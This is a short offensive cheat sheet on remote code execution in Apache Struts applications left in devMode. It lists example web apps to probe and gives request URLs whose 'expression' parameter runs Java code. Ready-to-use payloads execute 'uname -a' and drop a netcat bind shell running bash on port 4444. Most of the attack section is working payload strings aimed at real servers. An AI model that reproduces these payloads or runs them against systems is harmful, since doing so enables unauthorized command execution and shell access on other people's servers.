3.0 KiB
Apache Struts Remote Code Execution cheatsheet
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture. When having the application developed in so-called devMode as set in the struts.xml file:
<constant name="struts.devMode" value="true" />
Then the middleware will be handling additional parameters passed to every function invocation.
Testing for Struts devMode enabled
The most straightforward way to test for devMode enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters. The below list of commands is supported by the devMode in Struts:
debug=command
debug=xml
debug=console
debug=browser
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
- the Struts 1:
- struts-blank
- struts-cookbook
- struts-el-example
- struts-examples
- struts-faces-example
- struts-faces-example2
- struts-mailreader
- struts-scripting-mailreader
- the Struts 2:
- struts2-blank
- struts2-rest-showcase
- struts2-mailreader
- struts2-showcase
- struts2-portlet
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use devMode.
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
Firstly, we can see that those parameters are to be passed to the .action requests. Secondly, the above URL utilizes struts2-blank example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
There are those two most important parameters:
debug=command
expression=<java_code>
The expression parameter is where we will type our Remote Code Execution payload . When the above invocation will result with 2 in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
Utilizing RCE
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
Where we have invocation of uname -a command within linux boxes. In order to drop a bind shell on the server, the following method could be leveraged:
- Pass the command as a String array:
..
new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}
- Invoke the above expression with the array being passed to the ProcessBuilder
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
After that, the bash shell will bind to the 4444 port.